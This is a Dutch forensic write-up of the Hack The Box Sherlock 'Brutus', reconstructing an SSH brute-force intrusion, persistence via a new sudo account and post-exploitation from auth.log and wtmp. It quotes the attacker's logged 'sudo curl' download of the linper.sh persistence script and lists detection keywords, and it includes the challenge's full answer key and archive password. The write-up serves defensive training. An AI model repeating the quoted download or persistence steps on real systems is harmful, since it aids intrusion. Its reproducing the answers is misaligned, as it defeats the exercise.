Hack The Box Sherlock – Brutus
Moeilijkheidsgraad: Very Easy
Rating: 4.6 / 5
Released: 4 april 2024
Gemaakt door: CyberJunkie
Categorie: Blue Team / Linux Forensics
Deze write-up is geschreven door inqwert
Officiële scenario-omschrijving (Hack The Box)
In this Sherlock, you will familiarize yourself with Unix
auth.logandwtmplogs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track usingauth.log. Althoughauth.logis primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.
Kort samengevat: een Confluence-server is gecompromitteerd via een SSH brute-force aanval. Na het verkrijgen van toegang heeft de aanvaller persistence ingericht en verdere acties uitgevoerd. We krijgen alleen auth.log en wtmp en moeten de volledige aanvalsketen reconstrueren. Meer over het oplossen van Sherlocks vind je in onze HTB Sherlocks-gids.
Bestanden in de download
| Bestand | Type | Doel |
|---|---|---|
auth.log |
Tekstlog | Authenticatiepogingen, sessies, useradd, sudo-commando’s |
wtmp |
Binair | Login- en logout-records (echte terminal-sessies) |
utmp.py |
Python-script | Parser voor wtmp/utmp (meegeleverd door HTB) |
Voorbereiding – bestanden uitpakken
Waarom eerst dit?
Altijd eerst kijken wat er in de zip zit. Soms zit er een README, een handig script of een vreemde mapstructuur in.
ls -la /home/workdir/attachments/
mkdir -p /home/workdir/artifacts/brutus
7z x -y -phacktheblue -o/home/workdir/artifacts/brutus/ /home/workdir/attachments/Brutus.zip
ls -la /home/workdir/artifacts/brutus/
Waarom 7z in plaats van gewoon unzip?
De zip gebruikt AES-encryptie (compression method 99). Standaard unzip kan dat niet aan. 7z wel.
Task 1 – Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
Denkproces:
Bij een SSH brute-force kijk ik altijd als eerste naar Failed password en Invalid user. Dat zijn de klassieke indicators van een password-spray of dictionary attack.
cd /home/workdir/artifacts/brutus
grep -E 'Failed password|Invalid user' auth.log | head -30
Waarom precies deze twee strings?
Failed password= pogingen tegen bestaande accountsInvalid user= pogingen tegen niet-bestaande accounts (vaak het begin van een wordlist)
Om snel te zien welk IP het meest voorkomt gebruik ik de klassieke “top talkers” pipeline:
grep -E 'Failed password|Invalid user' auth.log | awk '{print $NF}' | sort | uniq -c | sort -nr
Alle brute-force verkeer komt van 65.2.161.68.
| Task | Antwoord |
|---|---|
| 1 | 65.2.161.68 |
Task 2 – The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
Denkproces:
Na de brute-force kijk ik altijd naar succesvolle logins. De string Accepted password is hiervoor het meest betrouwbaar.
grep 'Accepted password' auth.log
Resultaat (relevante regels):
Mar 6 06:31:40 ... Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:32:44 ... Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:34 ... Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
De brute-force is geslaagd op root. De eerste login (06:31:40) is vermoedelijk de geautomatiseerde tool; de tweede (06:32:44) is de handmatige sessie die we in Task 3 terugzien.
| Task | Antwoord |
|---|---|
| 2 | root |
Task 3 – Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
Denkproces:
De vraag zegt expliciet dat de login-tijd anders is dan de authenticatie-tijd en dat we dit in wtmp moeten zoeken. Dit is een belangrijke tip.
auth.log= moment van authenticatie (Accepted password)wtmp= moment waarop een echte interactieve sessie (pts) wordt geopend
wtmp is een binair bestand, daarom gebruiken we het meegeleverde script:
python3 utmp.py wtmp
Waarom het meegeleverde utmp.py?
Het is door HTB zelf meegestuurd, veilig, en geeft nette output met timestamps en IP-adressen. Alternatief is last -f wtmp, maar het script is duidelijker.
Relevante regel uit de output:
"USER" "2549" "pts/1" "ts/1" "root" "65.2.161.68" ... "2024/03/06 06:32:45"
Dit is één seconde na de tweede Accepted password (06:32:44). Precies het verschil tussen authenticatie en het openen van een echte terminal-sessie.
| Task | Antwoord |
|---|---|
| 3 | 2024-03-06 06:32:45 |
Task 4 – SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?
Denkproces:
Linux (via systemd-logind) kent aan elke login een session number toe. Dit staat bijna altijd direct onder de Accepted password-regel.
grep -A5 -B5 'Accepted password for root from 65.2.161.68 port 53184' auth.log
Waarom -A5 -B5?
Ik wil de context rondom die specifieke login zien. De session number staat meestal 1-2 regels eronder.
Mar 6 06:32:44 ... Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ... pam_unix(sshd:session): session opened for user root
Mar 6 06:32:44 ... systemd-logind[411]: New session 37 of user root.
| Task | Antwoord |
|---|---|
| 4 | 37 |
Task 5 – The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
Denkproces:
Na een succesvolle login zoekt een aanvaller meestal naar persistence. De meest voorkomende manier op Linux is een nieuw account aanmaken + sudo-rechten geven.
grep -E 'useradd|groupadd|usermod|passwd|chfn' auth.log
Waarom precies deze keywords?
useradd/adduser→ nieuw accountgroupadd→ vaak samen met useraddusermod→ account aan groep toevoegen (vooralsudo)passwd→ wachtwoord instellenchfn→ full name / info wijzigen
Dit levert de complete keten op van het account cyberjunkie:
Mar 6 06:34:18 ... useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002 ...
Mar 6 06:34:26 ... passwd[2603]: password changed for cyberjunkie
Mar 6 06:35:15 ... usermod[2628]: add 'cyberjunkie' to group 'sudo'
| Task | Antwoord |
|---|---|
| 5 | cyberjunkie |
Task 6 – What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
Het aanmaken van een lokale account voor persistence is officieel:
T1136.001 – Create Account: Local Account
| Task | Antwoord |
|---|---|
| 6 | T1136.001 |
Task 7 – What time did the attacker’s first SSH session end according to auth.log?
Denkproces:
Ik wil weten wanneer de root-sessie (session 37) is afgesloten. Let op: de vraag vraagt naar de eindtijd, niet naar de duur.
grep 'session closed for user root' auth.log
Waarom precies deze string?
sshd logt bij het afsluiten van een sessie altijd pam_unix(sshd:session): session closed for user <user>.
De sessie van sshd[2491] (session 37) sluit op 06:37:24.
| Task | Antwoord |
|---|---|
| 7 | 2024-03-06 06:37:24 |
Task 8 – The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
Denkproces:
Nu de aanvaller als cyberjunkie (met sudo-rechten) is ingelogd, gaat hij waarschijnlijk iets downloaden of privilege-escalatie proberen.
grep 'sudo:' auth.log
Waarom alleen sudo:?
Alles wat met sudo wordt uitgevoerd, wordt gelogd met de string “sudo:”. Dit is de snelste manier om alle elevated commands te vinden.
Mar 6 06:39:38 ... sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
| Task | Antwoord |
|---|---|
| 8 | /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh |
Complete antwoordenoverzicht
| Task | Vraag | Antwoord |
|---|---|---|
| 1 | IP-adres van de aanvaller | 65.2.161.68 |
| 2 | Gecompromitteerd account | root |
| 3 | UTC-timestamp handmatige login | 2024-03-06 06:32:45 |
| 4 | Sessienummer | 37 |
| 5 | Persistence-account | cyberjunkie |
| 6 | MITRE ATT&CK sub-technique | T1136.001 |
| 7 | Einde eerste SSH-sessie | 2024-03-06 06:37:24 |
| 8 | Volledige sudo-command | /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh |
Aanvalsketen samengevat
- Brute-force vanaf 65.2.161.68 → root-wachtwoord gekraakt
- Echte terminal-sessie (session 37) gestart op 2024-03-06 06:32:45
- Nieuwe lokale gebruiker cyberjunkie aangemaakt + aan de sudo-groep toegevoegd (T1136.001)
- Root-sessie beëindigd op 06:37:24
- Inloggen als cyberjunkie →
sudo curlvan een enumeration/privilege-escalatie script (linper.sh)
Blue Team lessen & mitigaties
Dit is precies hoe een SOC-analist of incident responder te werk gaat. Hieronder concrete maatregelen die je als systeembeheerder of MKB-IT’er kunt nemen:
| Maatregel | Waarom effectief | Hoe implementeren |
|---|---|---|
| SSH-keys forceren | Maakt wachtwoord-brute-force nutteloos | PasswordAuthentication no in sshd_config |
| Fail2ban / CrowdSec | Blokkeert IP’s automatisch na X mislukte pogingen | Standaard jail voor sshd activeren |
| Root-login uitschakelen | Verkleint het aanvalsoppervlak enorm | PermitRootLogin no of prohibit-password |
| Centrale logging (SIEM) | Aanvallers kunnen logs niet lokaal wissen | Wazuh, ELK, Graylog of cloud SIEM |
| Monitoring op useradd/usermod | Detecteert persistence in een vroeg stadium | Alert op useradd, usermod -aG sudo |
| Monitoring op sudo + curl/wget | Detecteert post-exploitation | Alert wanneer sudo een externe download uitvoert |
Verder lezen op hackerscollectief.nl/
- HTB Sherlocks: forensisch en blue team leren in het Nederlands — wat Sherlocks zijn en hoe je je eerste aanpakt.
- Wat is Hack The Box? De complete gids — het platform, de onderdelen en de spelregels.
- Beginnen met Hack The Box: de roadmap in 5 stappen — van account tot je eerste machine.
- De HTB-gereedschapskist — nmap, gobuster, hashcat en linpeas uitgelegd.
- Zet je eerste eigen hacklab op — VirtualBox + Kali, veilig en legaal.
- Wireshark voor beginners — netwerkanalyse leren in het Nederlands.
- Responsible disclosure in Nederland — zo meld je een kwetsbaarheid.
Brutus is een uitstekende “Very Easy” Sherlock om de basis van Linux-authenticatie-forensics te leren. Je leert het verschil tussen authenticatie-tijd en sessie-start, hoe je auth.log en wtmp met elkaar correleert, en hoe je persistence en post-exploitation activiteiten herkent.
De kracht van deze challenge zit niet in moeilijke technieken, maar in het systematisch leggen van de puzzelstukjes. Precies wat een goede blue-teamer elke dag doet.
Write-up door inqwert – Kennis zonder ruis.